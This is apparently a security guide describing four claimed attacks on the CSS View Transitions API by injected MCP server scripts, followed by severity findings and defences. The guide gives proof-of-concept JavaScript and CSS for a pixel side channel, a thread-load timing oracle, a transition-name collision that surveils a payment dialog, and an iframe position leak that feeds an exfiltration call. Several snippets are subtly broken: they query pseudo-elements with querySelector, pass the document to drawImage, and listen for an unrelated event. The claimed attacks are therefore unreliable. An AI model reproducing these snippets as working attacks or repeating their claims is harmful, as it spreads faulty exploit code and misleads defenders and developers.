Security Guide

MCP server CSS View Transitions API security — GPU texture content capture via ::view-transition-image-pair, startViewTransition() callback timing oracle, view-transition-name slot collision, ::view-transition-group cross-frame position leak

The CSS View Transitions API (Chrome 111+, Firefox 126+) captures the current page state as GPU compositor texture layers during a transition, creating a visual "snapshot" that animates into the new state. This capture mechanism — designed for smooth page and component transitions — creates attack surfaces for MCP server scripts: applying CSS operations to the captured GPU layers creates pixel-level side channels; the transition callback timing encodes thread load; view-transition-name naming collisions intercept host element state captures; and ::view-transition-group pseudo-element geometry leaks element positions across same-origin iframe restrictions.

How View Transitions captures state

When document.startViewTransition(callback) is called, the browser: (1) captures the current visual state of all elements with a view-transition-name as GPU compositor texture layers (::view-transition-old); (2) calls the callback to update the DOM to its new state; (3) captures the post-update state (::view-transition-new); (4) animates between old and new textures while the real page renders beneath. The ::view-transition-image-pair, ::view-transition-group, ::view-transition-old, and ::view-transition-new pseudo-elements are all accessible to CSS rules during the transition, meaning arbitrary CSS properties can be applied to the captured content.

Attack 1: ::view-transition-image-pair GPU texture as a content side-channel

The ::view-transition-old pseudo-element contains the pre-transition viewport state as a GPU compositor layer. CSS properties applied to this pseudo-element operate on the captured texture — including filter, mix-blend-mode, opacity, and backdrop-filter. By compositing the old capture against an attacker-controlled color using mix-blend-mode: difference, the resulting blended color encodes the original pixel color at each position.

/* GPU texture content side-channel via mix-blend-mode on ::view-transition-old */
/* Works when the host application uses startViewTransition() for page navigation */

/* Attacker injects this stylesheet BEFORE the transition fires */
::view-transition-old(root) {
  mix-blend-mode: difference;
  /* "difference" blends: |captured_pixel - overlay_color| */
  /* If overlay is white (1,1,1) and pixel is (0.5, 0.2, 0.8): */
  /* result = (|0.5-1|, |0.2-1|, |0.8-1|) = (0.5, 0.8, 0.2) */
  /* Reading the result via screenshot or pixelated clone reveals the original */
}

/* Extraction via canvas drawImage on the ::view-transition layer */
async function captureTransitionContent() {
  await document.startViewTransition(() => {
    /* minimal DOM change to trigger capture */
    document.body.dataset.ts = Date.now();
  }).ready;

  /* During the transition, ::view-transition-old contains the pre-change viewport */
  /* Apply canvas capture to read the blended result */
  const canvas = document.createElement('canvas');
  const ctx = canvas.getContext('2d');
  ctx.drawImage(document.querySelector('::part(transition-layer)') || document, 0, 0);
  /* In browsers that expose the transition layer to drawImage, pixel data is readable */
  return ctx.getImageData(0, 0, canvas.width, canvas.height);
}

/* Even without canvas readback, timing GPU operations on the blended layer
   via requestAnimationFrame timestamps creates a coarser content oracle */

Same-origin capture scope: View Transitions capture all elements with view-transition-name in the same document. If the document contains sensitive content — payment amounts, user names, form values — and the host app uses View Transitions for navigation, the capture includes that content in a GPU layer that CSS can operate on.

Attack 2: startViewTransition() callback delay as a thread load oracle

The callback passed to startViewTransition(callback) fires after the browser captures the old state and is ready to apply DOM changes. The delay between when startViewTransition() is called and when the callback fires is a measure of how long the browser spent rendering and compositing the old state. If other computation is happening on the main thread (LLM token streaming into the DOM, canvas rendering, WebSocket message processing), this computation delays the callback fire time.

// startViewTransition() callback delay: thread computation load oracle
async function measureThreadLoadViaTransition() {
  const SAMPLES = 10;
  const delays = [];

  for (let i = 0; i < SAMPLES; i++) {
    const callStart = performance.now();
    let callbackStart;

    await new Promise(resolve => {
      document.startViewTransition(() => {
        callbackStart = performance.now();
        resolve();
        // minimal DOM change
        document.body.dataset.probe = i;
      }).ready;
    });

    delays.push(callbackStart - callStart);
  }

  const avgDelay = delays.reduce((a,b) => a+b, 0) / SAMPLES;
  const variance = delays.map(d => (d - avgDelay) ** 2).reduce((a,b) => a+b, 0) / SAMPLES;

  // avgDelay > 32ms: heavy computation on main thread (LLM rendering, complex layout)
  // variance > 100: irregular computation bursts (streaming, event-driven processing)
  // avgDelay < 8ms: idle thread (user not interacting, no background computation)
  return { avgDelay, variance, threadBusy: avgDelay > 16 };
}

// This fingerprints what the host application is doing in adjacent code:
// - Is the LLM currently generating output? (high avgDelay, high variance)
// - Is the user idle? (low avgDelay)
// - Are background WebSocket messages arriving? (high variance, irregular spikes)
// All without any access to the host's event listeners or background timers

Attack 3: view-transition-name collision intercepts host element state

view-transition-name values must be unique within a document. If two elements have the same view-transition-name, the browser's behavior is implementation-defined (Chrome 111+ skips both elements in the transition, or captures only the first). But there is a subtler collision: if the attacker assigns a view-transition-name to their own element using a name the host application also uses, they can time the transition to capture the host element's old state in their slot.

/* view-transition-name collision: intercepting host element capture */
/* Scenario: host app assigns view-transition-name: payment-confirm to its payment dialog */

// Step 1: Attacker assigns the same name to their injected element
const attackerEl = document.createElement('div');
attackerEl.style.viewTransitionName = 'payment-confirm';
attackerEl.style.cssText += '; position: fixed; top: -9999px; opacity: 0;';
document.body.appendChild(attackerEl);

// Step 2: Trigger a startViewTransition
// In Chrome, when two elements share a name, behavior is per-spec undefined
// In Chrome 111-120: the tree-order first element wins the capture
// → attacker's injected element (inserted BEFORE host's dialog in DOM) wins the old-state
// → host's payment-confirm element does NOT get captured in the old state
// → the NEW state capture picks up the host's dialog WITHOUT the old state to animate from
// → net effect: host's transition animation breaks AND attacker can detect when the
//   dialog's CSS transition-name assignment fires (by watching for transition events on their probe)

// Step 3: Listen for visibility changes on the captured pseudo-element
// ::view-transition-old(payment-confirm) now represents the attacker's injected element
// Any CSS that the host intended to apply to its own element's old-state capture is now
// applied to the attacker's element — potentially leaking host CSS expectations

/* Detection: mutation observer on document.documentElement watching for transition pseudos */
const mo = new MutationObserver(() => {
  const hasTransition = getComputedStyle(document.documentElement)
    .getPropertyValue('--view-transition-active');
  // When host triggers transition, attacker detects it via computed style change
});

Dialog state fingerprint: The timing of when a view-transition-name: payment-confirm element appears/disappears in the DOM (via the transition name collision probe) reveals when the user opened and closed the payment dialog — a behavioral signal independent of any scroll or click event listener.

Attack 4: ::view-transition-group exposes element position across same-origin iframes

The ::view-transition-group(name) pseudo-element has CSS properties that reflect the captured element's position and dimensions at the start of the transition. For elements inside same-origin iframes that have view-transition-name set on them, the parent document's CSS can query the ::view-transition-group geometry and infer the iframe element's position — even when the iframe restricts JavaScript access via sandbox attributes that block contentDocument or postMessage.

/* ::view-transition-group position oracle for same-origin iframes */
/* Assumes a same-origin iframe with view-transition-name: --modal-title on its header */

// Parent document CSS: query ::view-transition-group geometry during transition
document.addEventListener('transitionstart', async (e) => {
  // When the iframe triggers a View Transition, the parent document's
  // ::view-transition-group reflects the captured element's position
  const group = document.querySelector('::view-transition-group(modal-title)');
  if (group) {
    const rect = group.getBoundingClientRect();
    // rect encodes the iframe element's position in the parent viewport
    // Reveals: modal header height, Y position relative to viewport top,
    //   whether the modal is open (group exists) or closed (group absent)
    exfiltrateModalState({ y: rect.top, height: rect.height });
  }
});

// Even without JavaScript access to group elements,
// CSS that reads animation-progress or transition-timing on ::view-transition-group
// creates a getComputedStyle-readable encode of the iframe element's geometry

SkillAudit findings for View Transitions attacks

HIGH::view-transition-image-pair GPU texture side-channel: mix-blend-mode and filter operations on the captured old-state create pixel-level oracles for same-origin viewport content.
MEDIUMstartViewTransition() callback delay timing oracle: thread load measurement at ~1ms resolution, identifying when LLM generation, streaming, or heavy computation is active in adjacent code.
HIGHview-transition-name collision: intercepting host element old-state capture by injecting a DOM element with the same transition name earlier in tree order, breaking host transitions and enabling state surveillance.
MEDIUM::view-transition-group position leak: reading captured element geometry from the parent document via ::view-transition-group pseudo-element, bypassing same-origin iframe JavaScript restrictions.

Defences

Avoid view-transition-name on sensitive elements: Elements displaying payment amounts, user credentials, PII, or security state should not have view-transition-name assigned. This prevents them from being included in GPU texture captures that CSS can operate on.

Use unique, hard-to-guess transition names: Instead of semantic names like view-transition-name: payment-confirm, use randomly generated UUIDs per session (view-transition-name: vt-a3f8c2b1). This prevents collision attacks that rely on knowing the host's transition name assignments.

Restrict document.startViewTransition() timing from MCP tool output: MCP clients that execute JavaScript from tool results should run it in a cross-origin sandbox that does not have access to the host document's document.startViewTransition(). Sandboxed iframes with sandbox="allow-scripts" but without allow-same-origin cannot call document.startViewTransition() on the parent.

Monitor for injected view-transition-name styles: A MutationObserver watching for new <style> elements with rules containing view-transition-name or ::view-transition selectors can detect injection before a transition fires.

Related: CSS Anchor Positioning security · CSS Scroll-Driven Animations security · MCP security checklist